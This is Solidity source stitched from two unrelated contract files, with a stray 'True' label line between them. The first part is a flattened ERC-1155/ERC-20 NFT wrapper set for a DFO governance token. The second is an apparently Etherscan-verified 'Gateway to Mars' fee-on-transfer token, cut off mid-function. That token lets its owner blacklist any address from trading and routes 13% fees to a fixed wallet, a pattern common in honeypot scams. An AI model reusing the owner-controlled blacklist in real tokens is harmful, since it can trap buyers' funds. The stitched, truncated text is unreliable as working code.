* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// File: @openzeppelin\contracts\token\ERC1155\IERC1155Receiver.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// File: contracts\standalone\IERC1155Views.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title IERC1155Views - An optional utility interface to improve the ERC-1155 Standard.
* @dev This interface introduces some additional capabilities for ERC-1155 Tokens.
*/
interface IERC1155Views {
/**
* @dev Returns the total supply of the given token id
* @param objectId the id of the token whose availability you want to know
*/
function totalSupply(uint256 objectId) external view returns (uint256);
/**
* @dev Returns the name of the given token id
* @param objectId the id of the token whose name you want to know
*/
function name(uint256 objectId) external view returns (string memory);
/**
* @dev Returns the symbol of the given token id
* @param objectId the id of the token whose symbol you want to know
*/
function symbol(uint256 objectId) external view returns (string memory);
/**
* @dev Returns the decimals of the given token id
* @param objectId the id of the token whose decimals you want to know
*/
function decimals(uint256 objectId) external view returns (uint256);
/**
* @dev Returns the uri of the given token id
* @param objectId the id of the token whose uri you want to know
*/
function uri(uint256 objectId) external view returns (string memory);
}
// File: contracts\standalone\IERC1155Data.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
interface IERC1155Data {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
// File: contracts\standalone\ISuperSaiyanToken.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
interface ISuperSaiyanToken is IERC1155, IERC1155Receiver, IERC1155Views, IERC1155Data {
function init(
address model,
address source,
string calldata name,
string calldata symbol
) external;
function fromDecimals(uint256 objectId, uint256 amount)
external
view
returns (uint256);
function toDecimals(uint256 objectId, uint256 amount)
external
view
returns (uint256);
function getMintData(uint256 objectId)
external
view
returns (
string memory,
string memory,
uint256
);
function getModel() external view returns (address);
function source() external view returns (address);
function asERC20(uint256 objectId) external view returns (IERC20NFTWrapper);
function mint(uint256 amount, string calldata partialUri)
external
returns (uint256, address);
function burn(
uint256 objectId,
uint256 amount,
bytes calldata data
) external;
function burnBatch(
uint256[] calldata objectIds,
uint256[] calldata amounts,
bytes calldata data
) external;
event Mint(uint256 objectId, address tokenAddress);
}
// File: contracts\standalone\voting\IDFOSuperSaiyanToken.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
interface IDFOSuperSaiyanToken is ISuperSaiyanToken {
function doubleProxy() external view returns(address);
function setDoubleProxy(address newDoubleProxy) external;
function setUri(uint256 objectId, string calldata uri) external;
event UriChanged(uint256 indexed objectId, string oldUri, string newUri);
}
interface IDoubleProxy {
function proxy() external view returns(address);
}
interface IMVDProxy {
function getToken() external view returns(address);
function getStateHolderAddress() external view returns(address);
function getMVDWalletAddress() external view returns(address);
function getMVDFunctionalitiesManagerAddress() external view returns(address);
function getMVDFunctionalityProposalManagerAddress() external view returns(address);
function submit(string calldata codeName, bytes calldata data) external payable returns(bytes memory returnData);
}
interface IStateHolder {
function setUint256(string calldata name, uint256 value) external returns(uint256);
function getUint256(string calldata name) external view returns(uint256);
function getBool(string calldata varName) external view returns (bool);
function clear(string calldata varName) external returns(string memory oldDataType, bytes memory oldVal);
}
interface IMVDFunctionalitiesManager {
function isAuthorizedFunctionality(address functionality) external view returns(bool);
}
// File: @openzeppelin\contracts\GSN\Context.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\math\SafeMath.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts\utils\Address.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts\standalone\ERC20NFTWrapper.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
contract ERC20NFTWrapper is Context, IERC20NFTWrapper {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint256 internal _decimals;
address internal _mainWrapper;
uint256 internal _objectId;
function init(uint256 objectId) public virtual override {
require(_mainWrapper == address(0), "Init already called!");
(_name, _symbol, _decimals) = ISuperSaiyanToken(
_mainWrapper = msg.sender
)
.getMintData(_objectId = objectId);
}
function mainWrapper() public virtual override view returns (address) {
return _mainWrapper;
}
function objectId() public virtual override view returns (uint256) {
return _objectId;
}
function name() public virtual override view returns (string memory) {
return _name;
}
function symbol() public virtual override view returns (string memory) {
return _symbol;
}
function decimals() public virtual override view returns (uint256) {
return _decimals;
}
function totalSupply() public virtual override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
virtual
override
view
returns (uint256)
{
return _balances[account];
}
function mint(address owner, uint256 amount) public virtual override {
require(msg.sender == _mainWrapper, "Unauthorized action!");
_mint(owner, amount);
}
function burn(address owner, uint256 amount) public virtual override {
require(
msg.sender == _mainWrapper ||
(ISuperSaiyanToken(_mainWrapper).source() == address(0) &&
msg.sender == owner),
"Unauthorized action!"
);
_burn(owner, amount);
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256 allowanceAmount)
{
allowanceAmount = _allowances[owner][spender];
if (
allowanceAmount == 0 &&
ISuperSaiyanToken(_mainWrapper).isApprovedForAll(owner, spender)
) {
allowanceAmount = _totalSupply;
}
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
if (_msgSender() == _mainWrapper) {
return true;
}
if (
!ISuperSaiyanToken(_mainWrapper).isApprovedForAll(
sender,
_msgSender()
)
) {
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// File: contracts\standalone\voting\DFOERC20NFTWrapper.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title DFOSuperSaiyanToken
*/
contract DFOERC20NFTWrapper is IDFOERC20NFTWrapper, ERC20NFTWrapper {
function mint(uint256 amount) public virtual override {
IMVDProxy proxy = IMVDProxy(getProxy());
require(
IMVDFunctionalitiesManager(
proxy.getMVDFunctionalitiesManagerAddress()
)
.isAuthorizedFunctionality(msg.sender),
"Unauthorized action!"
);
super._mint(address(proxy), amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override(IERC20, ERC20NFTWrapper) returns (bool) {
_transfer(sender, recipient, amount);
address txSender = _msgSender();
if (txSender == _mainWrapper || ISuperSaiyanToken(_mainWrapper).isApprovedForAll(
sender,
txSender
)) {
return true;
}
address proxy = getProxy();
if (
proxy == address(0) ||
!(IMVDFunctionalityProposalManager(
IMVDProxy(proxy).getMVDFunctionalityProposalManagerAddress()
)
.isValidProposal(txSender) && recipient == txSender)
) {
_approve(
sender,
txSender,
_allowances[sender][txSender] = _allowances[sender][txSender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
}
return true;
}
receive() external payable {
revert("ETH not accepted");
}
function getProxy() public override view returns (address) {
address doubleProxy = IDFOSuperSaiyanToken(_mainWrapper).doubleProxy();
return doubleProxy == address(0) ? address(0) : IDoubleProxy(doubleProxy).proxy();
}
function setProxy() public override {
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
//Telegram https://t.me/GatewayMars
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Marsway is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint8 private fee1=13;
uint8 private fee2=13;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Gateway to Mars";
string private constant _symbol = "MARSWAY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_feeAddrWallet1 = payable(0x782b80761BB89b8e77038AB0afdC052F0f8f1F71);
_feeAddrWallet2 = payable(0x782b80761BB89b8e77038AB0afdC052F0f8f1F71);
_rOwned[address(this)] = _rTotal.div(2);
_rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0),address(this),_tTotal.div(2));
emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function reduceFees(uint8 _fee1,uint8 _fee2) external {
require(_msgSender() == _feeAddrWallet1);
require(_fee1 <= fee1 && _fee2 <= fee2,"Cannot increase fees");
fee1 = _fee1;
fee2 = _fee2;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = fee1;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = fee2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
